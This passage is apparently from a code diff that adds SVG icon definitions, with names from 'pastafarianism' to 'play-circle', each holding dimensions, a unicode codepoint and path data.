176h46.87c-2.66-44.26-15.74-71.24-23.43-78.69-7.7 7.45-20.78 34.43-23.44 78.69zm64.51 102.41c27.71-13.24 48.02-39.19 53.3-70.41h-39.09c-1.49 27.03-6.53 51.35-14.21 70.41zM416 0H64C28.65 0 0 28.65 0 64v384c0 35.35 28.65 64 64 64h352c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32zm-80 416H112c-8.8 0-16-7.2-16-16s7.2-16 16-16h224c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-112-96c-70.69 0-128-57.31-128-128S153.31 64 224 64s128 57.31 128 128-57.31 128-128 128zm41.08-214.41c7.68 19.06 12.72 43.38 14.21 70.41h39.09c-5.28-31.22-25.59-57.17-53.3-70.41z" ], + pastafarianism: [ 640, 512, [], "f67b", "M624.54 347.67c-32.7-12.52-57.36 4.25-75.37 16.45-17.06 11.53-23.25 14.42-31.41 11.36-8.12-3.09-10.83-9.38-15.89-29.38-3.33-13.15-7.44-29.32-17.95-42.65 2.24-2.91 4.43-5.79 6.38-8.57C500.47 304.45 513.71 312 532 312c33.95 0 50.87-25.78 62.06-42.83 10.59-16.14 15-21.17 21.94-21.17 13.25 0 24-10.75 24-24s-10.75-24-24-24c-33.95 0-50.87 25.78-62.06 42.83-10.6 16.14-15 21.17-21.94 21.17-17.31 0-37.48-61.43-97.26-101.91l17.25-34.5C485.43 125.5 512 97.98 512 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z" ], + paste: [ 448, 512, [], "f0ea", "M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z" ], + pause: [ 448, 512, [], "f04c", "M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z" ], + "pause-circle": [ 512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z" ], + paw: [ 512, 512, [], "f1b0", "M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z" ], + peace: [ 496, 512, [], "f67c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z" ], + pen: [ 512, 512, [], "f304", "M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z" ], + "pen-alt": [ 512, 512, [], "f305", "M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z" ], + "pen-fancy": [ 512, 512, [], "f5ac", "M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z" ], + "pen-nib": [ 512, 512, [], "f5ad", "M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z" ], + "pen-square": [ 448, 512, [], "f14b", "M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z" ], + "pencil-alt": [ 512, 512, [], "f303", "M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z" ], + "pencil-ruler": [ 512, 512, [], "f5ae", "M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z" ], + "people-arrows": [ 576, 512, [], "e068", "M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z" ], + "people-carry": [ 640, 512, [], "f4ce", "M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z" ], + "pepper-hot": [ 512, 512, [], "f816", "M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z" ], + percent: [ 448, 512, [], "f295", "M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z" ], + percentage: [ 384, 512, [], "f541", "M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z" ], + "person-booth": [ 576, 512, [], "f756", "M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z" ], + phone: [ 512, 512, [], "f095", "M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z" ], + "phone-alt": [ 512, 512, [], "f879", "M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z" ], + "phone-slash": [ 640, 512, [], "f3dd", "M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z" ], + "phone-square": [ 448, 512, [], "f098", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z" ], + "phone-square-alt": [ 448, 512, [], "f87b", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z" ], + "phone-volume": [ 384, 512, [], "f2a0", "M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z" ], + "photo-video": [ 640, 512, [], "f87c", "M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z" ], + "piggy-bank": [ 576, 512, [], "f4d3", "M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z" ], + pills: [ 576, 512, [], "f484", "M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z" ], + "pizza-slice": [ 512, 512, [], "f818", "M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z" ], + "place-of-worship": [ 640, 512, [], "f67f", "M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z" ], + plane: [ 576, 512, [], "f072", "M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z" ], + "plane-arrival": [ 640, 512, [], "f5af", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z" ], + "plane-departure": [ 640, 512, [], "f5b0", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z" ], + "plane-slash": [ 640, 512, [], "e069", "M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z" ], + play: [ 448, 512, [], "f04b", "M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z" ], + "play-circle": [ 512, 512, [], "f144", "M256 8C119 8 8 119 8 